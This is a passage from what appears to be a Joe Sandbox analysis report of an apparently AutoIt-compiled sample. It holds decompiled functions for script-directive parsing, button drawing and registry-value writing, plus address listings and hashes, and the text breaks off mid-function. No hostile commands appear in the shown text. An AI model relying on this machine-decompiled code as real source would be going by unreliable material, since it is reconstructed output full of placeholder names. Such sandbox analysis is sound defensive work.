										__eflags = _t41;
										if(_t41 != 0) {
											_t42 = E004136BC(_t89, _t100, L"#comments-start", 0xf);
											_t111 = _t111 + 0xc;
											__eflags = _t42;
											if(__eflags == 0) {
												L28:
												_t98 =  *((intOrPtr*)(_t111 + 0x2020));
												_t104 = 1;
												while(1) {
													_t90 =  *((intOrPtr*)(_t111 + 0x2024));
													__eflags = E0046E5F5(_t104, __eflags,  *((intOrPtr*)(_t111 + 0x2024)), _t100);
													if(__eflags == 0) {
														break;
													}
													 *_t98 =  *_t98 + 1;
													E00445111(_t79, __eflags, _t100);
													E004450B6(_t79, __eflags, _t100);
													_t49 = E004136BC(_t90, _t100, L"#comments-start", 0xf);
													_t111 = _t111 + 0xc;
													__eflags = _t49;
													if(__eflags == 0) {
														L36:
														_t104 = _t104 + 1;
														continue;
													}
													_t50 = E004136BC(_t90, _t100, L"#cs", 3);
													_t111 = _t111 + 0xc;
													__eflags = _t50;
													if(__eflags == 0) {
														goto L36;
													}
													_t51 = E004136BC(_t90, _t100, L"#comments-end", 0xd);
													_t111 = _t111 + 0xc;
													__eflags = _t51;
													if(_t51 == 0) {
														L34:
														_t104 = _t104 - 1;
														__eflags = _t104;
														if(__eflags > 0) {
															continue;
														}
														_t44 = 1;
														L2:
														return _t44;
													}
													_t52 = E004136BC(_t90, _t100, L"#ce", 3);
													_t111 = _t111 + 0xc;
													__eflags = _t52;
													if(__eflags != 0) {
														continue;
													}
													goto L34;
												}
												__eflags = _t104;
												if(__eflags <= 0) {
													L5:
													_t44 = 1;
													goto L2;
												}
												_push(_t100);
												_push(L"Unterminated group of comments");
												_push( *_t98);
												_push( *((intOrPtr*)(_t111 + 0x201c)));
												_push(_t77);
												E00453F80(__eflags, _t115);
												_t44 = 0;
												goto L2;
											}
											_t53 = E004136BC(_t89, _t100, L"#cs", 3);
											_t111 = _t111 + 0xc;
											__eflags = _t53;
											if(__eflags != 0) {
												goto L5;
											}
											goto L28;
										}
										_push(_t111 + 0x10);
										_push(_t100 + 0x10);
										_push(_t77);
										_t55 = E00445153();
										_t82 =  *((intOrPtr*)(_t111 + 0x201c));
										__eflags = _t55 - 1;
										_t56 =  *((intOrPtr*)( *((intOrPtr*)(_t111 + 0x2020))));
										if(__eflags != 0) {
											_push(_t100);
											_push(L"Cannot parse #include");
											_push(_t56);
											_push(_t82);
											_push(_t77);
											E00453F80(__eflags, __fp0);
											_t44 = 0;
										} else {
											_push(_t56);
											_push(_t100);
											_push(_t82);
											_push(E00410020(_t77, _t111 + 0x1c, _t97, _t103));
											_push(_t111 + 0x20);
											_push(_t77);
											_t59 = E004037E0(_t82, _t111 + 0x20, __fp0);
											__eflags = _t59;
											_t44 = 0 | _t59 != 0x00000000;
										}
										goto L2;
									}
									__eflags =  *((intOrPtr*)(_t77 + 0x20)) - _t40;
									if( *((intOrPtr*)(_t77 + 0x20)) <= _t40) {
										goto L5;
									}
									_t101 = 0;
									__eflags = 0;
									while(1) {
										_t62 = E004115D0( *((intOrPtr*)(_t110 + 0x201c)),  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t77 + 0x1c)) + _t101 * 4)))),  *((intOrPtr*)(_t110 + 0x201c)));
										_t111 = _t110 + 8;
										__eflags = _t62;
										if(_t62 == 0) {
											break;
										}
										_t101 = _t101 + 1;
										__eflags = _t101 -  *((intOrPtr*)(_t77 + 0x20));
										if(_t101 <  *((intOrPtr*)(_t77 + 0x20))) {
											continue;
										}
										_t44 = 1;
										goto L2;
									}
									__eflags =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t77 + 0x2c)) + _t101 * 4)))) - 1;
									_t44 = ((0 |  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t77 + 0x2c)) + _t101 * 4)))) - 0x00000001 <= 0x00000000) - 0x00000001 & 0x00000003) + 1;
									goto L2;
								}
								_t99 = _t100 + 0x2c;
								_t102 = E0040FFF0(_t77, _t100 + 0x2c, __eflags);
								E004450B6(_t79, __eflags, _t102);
								E00445111(_t79, __eflags, _t102);
								_t71 = E004112D5(_t102) - 1;
								_t113 = _t109 + 4;
								__eflags =  *((short*)(_t102 + _t71 * 2)) - 0x22;
								if(__eflags != 0) {
									_push(_t102);
								} else {
									_t7 = _t102 + 2; // 0x2
									_t99 = _t7;
									 *((short*)(_t102 + _t71 * 2)) = 0;
									E004450B6(0, __eflags, _t99);
									E00445111(0, __eflags, _t99);
									_push(_t99);
								}
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t77 + 4)))) + 8))))();
								E004112EF( *((intOrPtr*)(_t77 + 4)),  *((intOrPtr*)( *((intOrPtr*)(_t77 + 4)))), _t99, _t102, __eflags, _t102);
								_t111 = _t113 + 4;
								_t44 = 1;
								goto L2;
							}
							 *((char*)(_t77 + 2)) = 1;
							_t44 = 1;
							goto L2;
						}
						 *((char*)(_t77 + 1)) = 1;
						_t44 = 1;
						goto L2;
					}
					 *_t77 = 1;
					goto L5;
				}
				_t44 = 3;
				goto L2;
			}










































                                                                                                                                                                            0x00403e50
                                                                                                                                                                            0x00403e50
                                                                                                                                                                            0x00403e50
                                                                                                                                                                            0x00403e55
                                                                                                                                                                            0x00403e5d
                                                                                                                                                                            0x00403e69
                                                                                                                                                                            0x0042ba82
                                                                                                                                                                            0x0042ba84
                                                                                                                                                                            0x0042ba89
                                                                                                                                                                            0x0042ba8c
                                                                                                                                                                            0x0042ba8e
                                                                                                                                                                            0x0042baa5
                                                                                                                                                                            0x0042baaa
                                                                                                                                                                            0x0042baad
                                                                                                                                                                            0x0042baaf
                                                                                                                                                                            0x0042bac7
                                                                                                                                                                            0x0042bacc
                                                                                                                                                                            0x0042bacf
                                                                                                                                                                            0x0042bad1
                                                                                                                                                                            0x0042bae9
                                                                                                                                                                            0x0042baee
                                                                                                                                                                            0x0042baf1
                                                                                                                                                                            0x0042baf3
                                                                                                                                                                            0x0042bb5c
                                                                                                                                                                            0x0042bb61
                                                                                                                                                                            0x0042bb64
                                                                                                                                                                            0x0042bb66
                                                                                                                                                                            0x0042bbc0
                                                                                                                                                                            0x0042bbc5
                                                                                                                                                                            0x0042bbc8
                                                                                                                                                                            0x0042bbca
                                                                                                                                                                            0x0042bc32
                                                                                                                                                                            0x0042bc37
                                                                                                                                                                            0x0042bc3a
                                                                                                                                                                            0x0042bc3c
                                                                                                                                                                            0x0042bc56
                                                                                                                                                                            0x0042bc56
                                                                                                                                                                            0x0042bc5d
                                                                                                                                                                            0x0042bc62
                                                                                                                                                                            0x0042bc62
                                                                                                                                                                            0x0042bc70
                                                                                                                                                                            0x0042bc72
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042bc74
                                                                                                                                                                            0x0042bc77
                                                                                                                                                                            0x0042bc7d
                                                                                                                                                                            0x0042bc8a
                                                                                                                                                                            0x0042bc8f
                                                                                                                                                                            0x0042bc92
                                                                                                                                                                            0x0042bc94
                                                                                                                                                                            0x0042bce1
                                                                                                                                                                            0x0042bce1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042bce1
                                                                                                                                                                            0x0042bc9e
                                                                                                                                                                            0x0042bca3
                                                                                                                                                                            0x0042bca6
                                                                                                                                                                            0x0042bca8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042bcb2
                                                                                                                                                                            0x0042bcb7
                                                                                                                                                                            0x0042bcba
                                                                                                                                                                            0x0042bcbc
                                                                                                                                                                            0x0042bcd2
                                                                                                                                                                            0x0042bcd2
                                                                                                                                                                            0x0042bcd3
                                                                                                                                                                            0x0042bcd5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042bcd7
                                                                                                                                                                            0x00403e78
                                                                                                                                                                            0x00403e7e
                                                                                                                                                                            0x00403e7e
                                                                                                                                                                            0x0042bcc6
                                                                                                                                                                            0x0042bccb
                                                                                                                                                                            0x0042bcce
                                                                                                                                                                            0x0042bcd0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042bcd0
                                                                                                                                                                            0x0042bce7
                                                                                                                                                                            0x0042bce9
                                                                                                                                                                            0x0042ba93
                                                                                                                                                                            0x0042ba93
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ba93
                                                                                                                                                                            0x0042bcf8
                                                                                                                                                                            0x0042bcf9
                                                                                                                                                                            0x0042bcfe
                                                                                                                                                                            0x0042bcff
                                                                                                                                                                            0x0042bd00
                                                                                                                                                                            0x0042bd01
                                                                                                                                                                            0x0042bd06
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042bd06
                                                                                                                                                                            0x0042bc46
                                                                                                                                                                            0x0042bc4b
                                                                                                                                                                            0x0042bc4e
                                                                                                                                                                            0x0042bc50
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042bc50
                                                                                                                                                                            0x0042bbd0
                                                                                                                                                                            0x0042bbd4
                                                                                                                                                                            0x0042bbd5
                                                                                                                                                                            0x0042bbd6
                                                                                                                                                                            0x0042bbe2
                                                                                                                                                                            0x0042bbe9
                                                                                                                                                                            0x0042bbeb
                                                                                                                                                                            0x0042bbed
                                                                                                                                                                            0x0042bc15
                                                                                                                                                                            0x0042bc16
                                                                                                                                                                            0x0042bc1b
                                                                                                                                                                            0x0042bc1c
                                                                                                                                                                            0x0042bc1d
                                                                                                                                                                            0x0042bc1e
                                                                                                                                                                            0x0042bc23
                                                                                                                                                                            0x0042bbef
                                                                                                                                                                            0x0042bbef
                                                                                                                                                                            0x0042bbf0
                                                                                                                                                                            0x0042bbf1
                                                                                                                                                                            0x0042bbfb
                                                                                                                                                                            0x0042bc00
                                                                                                                                                                            0x0042bc01
                                                                                                                                                                            0x0042bc02
                                                                                                                                                                            0x0042bc09
                                                                                                                                                                            0x0042bc0e
                                                                                                                                                                            0x0042bc0e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042bbed
                                                                                                                                                                            0x0042bb68
                                                                                                                                                                            0x0042bb6b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042bb71
                                                                                                                                                                            0x0042bb71
                                                                                                                                                                            0x0042bb73
                                                                                                                                                                            0x0042bb84
                                                                                                                                                                            0x0042bb89
                                                                                                                                                                            0x0042bb8c
                                                                                                                                                                            0x0042bb8e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042bb90
                                                                                                                                                                            0x0042bb91
                                                                                                                                                                            0x0042bb94
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042bb96
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042bb96
                                                                                                                                                                            0x0042bba8
                                                                                                                                                                            0x0042bbb2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042bbb2
                                                                                                                                                                            0x0042baf5
                                                                                                                                                                            0x0042bafd
                                                                                                                                                                            0x0042bb00
                                                                                                                                                                            0x0042bb06
                                                                                                                                                                            0x0042bb11
                                                                                                                                                                            0x0042bb12
                                                                                                                                                                            0x0042bb15
                                                                                                                                                                            0x0042bb1a
                                                                                                                                                                            0x0042bb34
                                                                                                                                                                            0x0042bb1c
                                                                                                                                                                            0x0042bb1e
                                                                                                                                                                            0x0042bb1e
                                                                                                                                                                            0x0042bb22
                                                                                                                                                                            0x0042bb26
                                                                                                                                                                            0x0042bb2c
                                                                                                                                                                            0x0042bb31
                                                                                                                                                                            0x0042bb31
                                                                                                                                                                            0x0042bb3f
                                                                                                                                                                            0x0042bb42
                                                                                                                                                                            0x0042bb47
                                                                                                                                                                            0x0042bb4a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042bb4a
                                                                                                                                                                            0x0042bad3
                                                                                                                                                                            0x0042bad7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042bad7
                                                                                                                                                                            0x0042bab1
                                                                                                                                                                            0x0042bab5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042bab5
                                                                                                                                                                            0x0042ba90
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ba90
                                                                                                                                                                            0x00403e6f
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __wcsnicmp
                                                                                                                                                                            • String ID: #NoAutoIt3Execute$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#requireadmin$Cannot parse #include$Unterminated group of comments
                                                                                                                                                                            • API String ID: 1038674560-3360698832
                                                                                                                                                                            • Opcode ID: 5265d90dcf9542c07281c45c4bde8baccf94945fb8967aeaee100cc1cf02c21f
                                                                                                                                                                            • Instruction ID: b6083b7aed1673b33e689ff2aa7e8f17f47d7310e90ec65f4167159f85ee96f3
                                                                                                                                                                            • Opcode Fuzzy Hash: 5265d90dcf9542c07281c45c4bde8baccf94945fb8967aeaee100cc1cf02c21f
                                                                                                                                                                            • Instruction Fuzzy Hash: 5A611471B4071076EA306A229C46FAB735CDF14345F50052FFC01A628BE7ADDA4A86EE
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00433D5C Relevance: 40.7, APIs: 27, Instructions: 198windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 92%
                                                                                                                                                                            			E00433D5C(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v0;
				struct HBRUSH__* _v4;
				struct HBRUSH__* _v8;
				void* _v36;
				signed int _v40;
				signed int _v44;
				struct tagRECT _v68;
				struct HWND__** _v76;
				void* _v80;
				long _v84;
				void* _v88;
				struct tagRECT _v104;
				void* _v116;
				WCHAR* _v120;
				void* _v124;
				intOrPtr _v128;
				int _v132;
				int _v136;
				long _v140;
				long _v164;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t69;
				long _t70;
				long _t71;
				long _t73;
				long _t74;
				signed int _t88;
				WCHAR* _t90;
				intOrPtr _t112;
				void* _t113;
				intOrPtr _t143;
				struct HDC__* _t146;
				signed int _t147;
				signed int _t148;
				signed int _t156;

				_t143 = _a4;
				_t147 =  *(_t143 + 0x10);
				_t146 =  *(_t143 + 0x18);
				_t148 = _t147 & 0x00000006;
				_v44 = _t147 & 0x00000010;
				_v40 = _t148;
				if(_t148 == 0) {
					_t112 = _a8;
					_t69 =  *(_t112 + 0x48);
					__eflags = _t69 - 0xffffffff;
					if(__eflags == 0) {
						_t69 = GetSysColor(0x12);
					}
					_t70 = SetTextColor(_t146, _t69);
				} else {
					_t70 = SetTextColor(_t146, GetSysColor(0xe));
					_t112 = _v0;
				}
				_v68.top = _t70;
				_t71 =  *(_t112 + 0x44);
				if(_t71 != 0xffffffff) {
					_v8 = CreateSolidBrush(_t71);
					_t73 =  *(_t112 + 0x44);
				} else {
					_v4 = GetSysColorBrush(0xf);
					_t73 = GetSysColor(0xf);
				}
				_v68.top = _t73;
				if(_t148 == 0) {
					_t74 = 0x743c00;
				} else {
					_t74 = GetSysColor(0x11);
				}
				_t113 = CreatePen(0, 1, _t74);
				_v68.right = SelectObject(_t146, _t113);
				_v68.top = SetBkColor(_t146, _v84);
				_v80 = SelectObject(_t146, _v36);
				_v68.top =  *((intOrPtr*)(_t143 + 0x20));
				_v68.left =  *(_t143 + 0x1c);
				_v68.right =  *((intOrPtr*)(_t143 + 0x24));
				_v68.bottom =  *((intOrPtr*)(_t143 + 0x28));
				InflateRect( &_v68, 0xffffffff, 0xffffffff);
				RoundRect(_t146, _v68.left, _v68.top, _v68.right, _v68.bottom, 5, 5);
				_v128 = 0x105;
				_t156 =  *0x482718( *_v68, 0xfffffff0) & 0x00002000;
				if(_t156 == 0) {
					_v136 = 0x125;
				}
				_t88 = SendMessageW( *_v76, 0xe, 0, 0) + 1;
				_v132 = _t88;
				_push( ~(0 | _t156 > 0x00000000) | _t88 * 0x00000002);
				_t90 = E0041171A(_t113, _t143, _t156);
				_v120 = _t90;
				GetWindowTextW( *_v76, _t90, _v132);
				if(_v128 != 0) {
					_v104.top =  *((intOrPtr*)(_t143 + 0x20));
					_v104.left =  *(_t143 + 0x1c);
					_v104.right =  *((intOrPtr*)(_t143 + 0x24));
					_v104.bottom =  *((intOrPtr*)(_t143 + 0x28));
					InflateRect( &_v104, 0xfffffffd, 0xfffffffd);
					DrawFocusRect(_t146,  &_v104);
				}
				_t158 = _v124;
				if(_v124 != 0) {
					SetTextColor(_t146, GetSysColor(0x11));
				}
				DrawTextW(_t146, _v120, 0xffffffff,  &_v104, _v136);
				E004112EF(_t113,  &_v104, _v120, _t146, _t158, _v120);
				SelectObject(_t146, _v116);
				DeleteObject(_v88);
				SelectObject(_t146, _v124);
				DeleteObject(_t113);
				SetTextColor(_t146, _v164);
				SetBkColor(_t146, _v140);
				return 1;
			}









































                                                                                                                                                                            0x00433d63
                                                                                                                                                                            0x00433d67
                                                                                                                                                                            0x00433d6a
                                                                                                                                                                            0x00433d72
                                                                                                                                                                            0x00433d75
                                                                                                                                                                            0x00433d79
                                                                                                                                                                            0x00433d7d
                                                                                                                                                                            0x00433d95
                                                                                                                                                                            0x00433d99
                                                                                                                                                                            0x00433d9c
                                                                                                                                                                            0x00433d9f
                                                                                                                                                                            0x00433da3
                                                                                                                                                                            0x00433da3
                                                                                                                                                                            0x00433dab
                                                                                                                                                                            0x00433d7f
                                                                                                                                                                            0x00433d89
                                                                                                                                                                            0x00433d8f
                                                                                                                                                                            0x00433d8f
                                                                                                                                                                            0x00433db1
                                                                                                                                                                            0x00433db5
                                                                                                                                                                            0x00433dbb
                                                                                                                                                                            0x00433dda
                                                                                                                                                                            0x00433dde
                                                                                                                                                                            0x00433dbd
                                                                                                                                                                            0x00433dc7
                                                                                                                                                                            0x00433dcb
                                                                                                                                                                            0x00433dcb
                                                                                                                                                                            0x00433de1
                                                                                                                                                                            0x00433de7
                                                                                                                                                                            0x00433df3
                                                                                                                                                                            0x00433de9
                                                                                                                                                                            0x00433deb
                                                                                                                                                                            0x00433deb
                                                                                                                                                                            0x00433e09
                                                                                                                                                                            0x00433e15
                                                                                                                                                                            0x00433e25
                                                                                                                                                                            0x00433e31
                                                                                                                                                                            0x00433e3a
                                                                                                                                                                            0x00433e3e
                                                                                                                                                                            0x00433e4c
                                                                                                                                                                            0x00433e50
                                                                                                                                                                            0x00433e54
                                                                                                                                                                            0x00433e73
                                                                                                                                                                            0x00433e82
                                                                                                                                                                            0x00433e90
                                                                                                                                                                            0x00433e95
                                                                                                                                                                            0x00433e97
                                                                                                                                                                            0x00433e97
                                                                                                                                                                            0x00433eb2
                                                                                                                                                                            0x00433eb5
                                                                                                                                                                            0x00433ec7
                                                                                                                                                                            0x00433ec8
                                                                                                                                                                            0x00433eda
                                                                                                                                                                            0x00433ee1
                                                                                                                                                                            0x00433eec
                                                                                                                                                                            0x00433ef9
                                                                                                                                                                            0x00433efd
                                                                                                                                                                            0x00433f0b
                                                                                                                                                                            0x00433f0f
                                                                                                                                                                            0x00433f13
                                                                                                                                                                            0x00433f1f
                                                                                                                                                                            0x00433f1f
                                                                                                                                                                            0x00433f25
                                                                                                                                                                            0x00433f2a
                                                                                                                                                                            0x00433f36
                                                                                                                                                                            0x00433f36
                                                                                                                                                                            0x00433f4e
                                                                                                                                                                            0x00433f55
                                                                                                                                                                            0x00433f63
                                                                                                                                                                            0x00433f70
                                                                                                                                                                            0x00433f78
                                                                                                                                                                            0x00433f7b
                                                                                                                                                                            0x00433f83
                                                                                                                                                                            0x00433f8f
                                                                                                                                                                            0x00433fa1

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetSysColor.USER32(0000000E), ref: 00433D81
                                                                                                                                                                            • SetTextColor.GDI32(?,00000000), ref: 00433D89
                                                                                                                                                                            • GetSysColor.USER32(00000012), ref: 00433DA3
                                                                                                                                                                            • SetTextColor.GDI32(?,?), ref: 00433DAB
                                                                                                                                                                            • GetSysColorBrush.USER32(0000000F), ref: 00433DBF
                                                                                                                                                                            • GetSysColor.USER32(0000000F), ref: 00433DCB
                                                                                                                                                                            • CreateSolidBrush.GDI32(?), ref: 00433DD4
                                                                                                                                                                            • GetSysColor.USER32(00000011), ref: 00433DEB
                                                                                                                                                                            • CreatePen.GDI32(00000000,00000001,00743C00), ref: 00433DFD
                                                                                                                                                                            • SelectObject.GDI32(?,00000000), ref: 00433E0D
                                                                                                                                                                            • SetBkColor.GDI32(?,?), ref: 00433E19
                                                                                                                                                                            • SelectObject.GDI32(?,?), ref: 00433E29
                                                                                                                                                                            • InflateRect.USER32(?,000000FF,000000FF), ref: 00433E54
                                                                                                                                                                            • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00433E73
                                                                                                                                                                            • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00433EAC
                                                                                                                                                                            • GetWindowTextW.USER32(00000000,00000000,00000105), ref: 00433EE1
                                                                                                                                                                            • InflateRect.USER32(?,000000FD,000000FD), ref: 00433F13
                                                                                                                                                                            • DrawFocusRect.USER32(?,?), ref: 00433F1F
                                                                                                                                                                            • GetSysColor.USER32(00000011), ref: 00433F2E
                                                                                                                                                                            • SetTextColor.GDI32(?,00000000), ref: 00433F36
                                                                                                                                                                            • DrawTextW.USER32(?,?,000000FF,?,?), ref: 00433F4E
                                                                                                                                                                            • SelectObject.GDI32(?,?), ref: 00433F63
                                                                                                                                                                            • DeleteObject.GDI32(?), ref: 00433F70
                                                                                                                                                                            • SelectObject.GDI32(?,?), ref: 00433F78
                                                                                                                                                                            • DeleteObject.GDI32(00000000), ref: 00433F7B
                                                                                                                                                                            • SetTextColor.GDI32(?,?), ref: 00433F83
                                                                                                                                                                            • SetBkColor.GDI32(?,?), ref: 00433F8F
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Color$ObjectText$RectSelect$BrushCreateDeleteDrawInflate$FocusMessageRoundSendSolidWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1441705042-0
                                                                                                                                                                            • Opcode ID: 8a0125f28d0b69b835ac945058275eb6cc5aa7bbf533d5e5c310597dd697ec53
                                                                                                                                                                            • Instruction ID: aa454ab644ffbff4d2185aee23397a25bdbdaef3ad5a75b83a3ebbbeed3afe32
                                                                                                                                                                            • Opcode Fuzzy Hash: 8a0125f28d0b69b835ac945058275eb6cc5aa7bbf533d5e5c310597dd697ec53
                                                                                                                                                                            • Instruction Fuzzy Hash: 53710570508340AFD304DF68DD88A6FBBF9FF89711F104A2DFA5592290D7B4E9418B6A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0046AEAF Relevance: 40.7, APIs: 17, Strings: 6, Instructions: 417registryCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 71%
                                                                                                                                                                            			E0046AEAF(signed int __ecx, void* __eflags, intOrPtr _a4, int* _a8) {
				char _v20;
				char _v24;
				char _v36;
				short* _v40;
				char _v52;
				short* _v56;
				intOrPtr _v68;
				char _v72;
				int _v76;
				int _v80;
				intOrPtr _v84;
				signed int _v88;
				signed int _v92;
				void* _v96;
				void* _v100;
				void* _v104;
				void* _v108;
				char _v109;
				char _v113;
				void* _v116;
				char _v125;
				intOrPtr* _v144;
				int _v148;
				int _v152;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t141;
				void* _t144;
				long _t149;
				long _t151;
				void* _t152;
				long _t153;
				long _t164;
				long _t167;
				long _t171;
				long _t174;
				long _t177;
				long _t180;
				char* _t183;
				int _t185;
				long _t188;
				intOrPtr _t189;
				signed int _t193;
				long _t197;
				signed int _t199;
				signed int _t204;
				signed int _t211;
				short* _t213;
				void* _t223;
				char* _t225;
				void* _t230;
				long _t243;
				intOrPtr _t254;
				intOrPtr _t260;
				intOrPtr* _t269;
				intOrPtr _t277;
				intOrPtr _t278;
				intOrPtr* _t281;
				void* _t298;
				signed int _t306;
				void _t318;
				void* _t319;
				char* _t323;
				int* _t328;
				signed int _t330;
				int* _t332;
				intOrPtr* _t333;
				int* _t334;
				int* _t335;
				signed int _t336;
				void* _t338;
				void* _t339;

				_t338 = (_t336 & 0xfffffff8) - 0x5c;
				_v88 = __ecx;
				_push(_t319);
				_v80 = 0;
				E0040C060( &_v36, __eflags);
				E0040C060( &_v52, __eflags);
				E0040C060( &_v20, __eflags);
				_t254 = _a4;
				_t141 =  *((intOrPtr*)(_t254 + 8));
				_v68 = _t141;
				if(_t141 == 1 || _t141 == 4) {
					_t144 = E00453081( *((intOrPtr*)( *((intOrPtr*)(_t254 + 4)))));
					_t339 = _t338 - 0x10;
					E00401B70(_t254, _t144, _t339, __eflags);
					_push( &_v24);
					_push( &_v56);
					E00462DEC( &_v56);
					 *((intOrPtr*)(_t339 - 0x10)) = _v84;
					_v148 = _v76;
					_t269 = _v72;
					_v152 = _v80;
					_v144 = _t269;
					 *_t269 =  *_t269 + 1;
					_t149 = E00462BF3(_t269,  &_v104, __eflags,  &_v108,  &_v104,  &_v40);
					__eflags = _t149;
					if(_t149 != 0) {
						_t151 = E00437BFD( &_v56);
						_v113 = _t151;
						__eflags = _t151;
						if(_t151 != 0) {
							_t152 = _v96;
							L11:
							_t303 = _v40;
							_t153 = RegCreateKeyExW(_t152, _v40, 0, 0x4848e8, 0, _v92 | 0x00020006, 0,  &_v104,  &_v76);
							__eflags = _t153;
							if(_t153 == 0) {
								__eflags = _v88 - 1;
								if(_v88 <= 1) {
									L43:
									RegCloseKey(_v104);
									__eflags = _v109;
									if(_v109 == 0) {
										RegCloseKey(_v100);
									}
									goto L45;
								}
								_t164 = E004115D0(_t303, E00453081( *((intOrPtr*)( *((intOrPtr*)(_t254 + 4)) + 8))), L"REG_EXPAND_SZ");
								_t277 =  *((intOrPtr*)(_t254 + 4));
								__eflags = _t164;
								if(_t164 != 0) {
									_t167 = E004115D0(_t303, E00453081( *((intOrPtr*)(_t277 + 8))), L"REG_SZ");
									__eflags = _t167;
									if(_t167 != 0) {
										_t171 = E004115D0(_t303, E00453081( *((intOrPtr*)( *((intOrPtr*)(_t254 + 4)) + 8))), L"REG_MULTI_SZ");
										_t278 =  *((intOrPtr*)(_t254 + 4));
										__eflags = _t171;
										if(_t171 != 0) {
											_t174 = E004115D0(_t303, E00453081( *((intOrPtr*)(_t278 + 8))), L"REG_DWORD");
											__eflags = _t174;
											if(_t174 != 0) {
												_t177 = E004115D0(_t303, E00453081( *((intOrPtr*)( *((intOrPtr*)(_t254 + 4)) + 8))), L"REG_QWORD");
												__eflags = _t177;
												if(_t177 != 0) {
													_t180 = E004115D0(_t303, E00453081( *((intOrPtr*)( *((intOrPtr*)(_t254 + 4)) + 8))), L"REG_BINARY");
													__eflags = _t180;
													if(_t180 != 0) {
														L42:
														_t328 = _a8;
														E004092C0(1, _t328);
														 *_t328 = 0;
														_t328[2] = 1;
														goto L43;
													}
													_t183 = E004676A3( *((intOrPtr*)( *((intOrPtr*)(_t254 + 4)) + 0xc)));
